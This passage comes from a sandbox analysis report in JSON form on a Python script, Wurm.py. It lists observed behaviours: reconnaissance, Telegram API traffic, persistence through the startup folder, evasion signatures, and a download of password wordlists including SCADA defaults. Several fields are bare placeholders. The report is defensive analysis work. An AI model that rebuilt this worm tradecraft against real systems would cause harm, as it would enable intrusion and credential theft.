Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" (Indicator: \"cmd.exe /c \"ver\"\") in Source: 00000000-00008020-00000C47-6118297544","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"WMIC.exe\" issued a query \"SELECT Model FROM Win32_ComputerSystem\"\n \"WMIC.exe\" issued a query \"SELECT SerialNumber FROM Win32_BIOS\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"python.exe\" queried token user identity (UID: 00000000-00008020)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$4a","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"python.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"python.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed File Hosting Service Domain (files .pythonhosted .org in TLS SNI)\" (SID: 2049202, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)\" (SID: 2033967, Rev: 2, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed Telegram Domain in TLS SNI (telegram .org)\" (SID: 2071628, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/24 Antivirus vendors marked sample as clean (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\"\n Found registry modification API: \"RegLoadKeyW\" in \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$4c","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$4d","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"python.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00008020)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$4e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$4f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"pypi.org\"\n \"files.pythonhosted.org\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"151.101.0.223:443\"\n \"151.101.128.223:443\"\n \"149.154.166.110:443\"\n \"185.199.109.133:443\"\n \"192.168.0.1:445\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$50","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"REGEDIT: CreateFile failed, GetLastError() = %d\" (Indicator: \"CreateFile\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"IcmpCreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"Icmp6CreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$51","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"REGEDIT: CreateFile failed, GetLastError() = %d\" (Indicator: \"GetLastError\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$52","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"urlref_httpsraw.githubusercontent.comscadastrangeloveSCADAPASSmasterscadapass.csv\" as clean (type is \"CSV Unicode text UTF-8 text\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Executes a Python script","description":"Process \"python.exe\" with commandline \"C:\\\\Wurm.py\" (UID: 00000000-00008020)\n Process \"python.exe\" with commandline C:\\\\Wurm.py --guard 8020 (UID: 00000000-00006988)","origin":"Monitored Target","mitre_attack_id":"T1059.006","relevance":1,"id":"target-318","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$53","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"netsh.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at FE800000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$54","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WMIC.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at EDAE0000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"python.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FCC50000\n \"python.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at FCBC0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FCC50000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FCC50000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at FCBC0000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FCC50000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at FCBC0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"python.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FE4C0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FE4C0000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FE4C0000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FE4C0000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FE4C0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000060a3e9fcfe7f0000@ntdll.dll\"\n \"220023000000000038a3e9fcfe7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Wurm.py\" was detected as \"Python3\" and name: \"script\"\n \"Wurm.py\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$55","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$56","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"python.exe\" (UID: 00000000-00008020) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"python.exe\" (UID: 00000000-00008020) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00004724) was launched with new environment variables: \"USERDNSDOMAIN=\"6TiieWSzo27Q33T\"\"\n Process \"cmd.exe\" (UID: 00000000-00004724) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"cmd.exe\" (UID: 00000000-00004724) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"cmd.exe\" (UID: 00000000-00001148) was launched with new environment variables: \"PIP_NO_INPUT=\"1\"\"\n Process \"cmd.exe\" (UID: 00000000-00003264) was launched with missing environment variables: \"PIP_NO_INPUT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.telegram.org\"\n \"files.pythonhosted.org\"\n \"pypi.org\"\n \"raw.githubusercontent.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"python.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"python.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"$57","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$58","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$59","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$5a","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"\"GET /danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt HTTP/1.1\nAccept-Encoding: identity\nHost: raw.githubusercontent.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/131.0 Safari/537.36\nConnection: close\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"python.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\sslkey.txt\"\n \"python.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\od65krvz\"\n \"python.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\.k9.guard\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"python.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$5b","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$5c","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$5d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"python.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\python.exe\" (UID: 8020)\n \"python.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 8020)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 4724)\n \"python.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\python.exe\" (UID: 7600)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$5e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"python.exe\" reads file \"c:\\wurm.py\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"-1-5-21-735145574-3570218355-1207367261-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00002060.00000000.180755.95AD0000.00000004.mdmp\")\n Found string \"-1-5-21-735145574-3570218355-1207367261-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00005936.00000000.182903.1FF40000.00000004.mdmp\")\n Found string \"-1-5-21-735145574-3570218355-1207367261-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00008852.00000000.181116.65F30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"python.exe\" trying to touch file \"\\Device\\ConDrv\\\\Connect\"\n \"python.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"python.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\VERSION.dll\"\n \"python.exe\" trying to touch file \"\\Device\\KsecDD\"\n \"python.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"python.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\FLTLIB.DLL\"\n \"python.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"python.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\MSVCP140.dll\"\n \"python.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"python.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"python.exe\" trying to touch file \"\\Global??\\FltMgrMsg\"\n \"python.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"\n \"python.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\CRYPTSP.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"python.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Caches\\svc.py\"\n \"python.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\n \"python.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svc.pyw\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$5f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"python.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\pyvenv.cfg\"\n \"python.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\.k9.deps\"\n \"python.exe\" trying to access non-existent file \"\\Device\\RasAcd\"\n \"cmd.exe\" 